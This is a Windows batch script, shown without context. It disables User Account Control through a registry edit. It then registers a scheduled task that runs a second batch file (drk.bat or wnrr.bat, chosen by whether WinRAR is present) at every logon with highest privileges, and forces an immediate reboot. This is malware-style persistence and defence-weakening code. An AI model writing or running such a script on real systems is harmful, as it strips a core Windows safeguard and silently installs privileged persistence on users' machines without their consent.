@echo off if exist "C:\Program Files\WinRAR\WinRAR.exe" ( reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f set "current_dir=%~dp0" schtasks /create /tn "RunDrkBat" /tr "\"%current_dir%drk.bat\"" /sc onlogon /ru "%username%" /rl highest /f shutdown /r /t 0 exit /b ) else ( reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f set "current_dir=%~dp0" schtasks /create /tn "RunWnrrBat" /tr "\"%current_dir%wnrr.bat\"" /sc onlogon /ru "%username%" /rl highest /f shutdown /r /t 0 exit /b )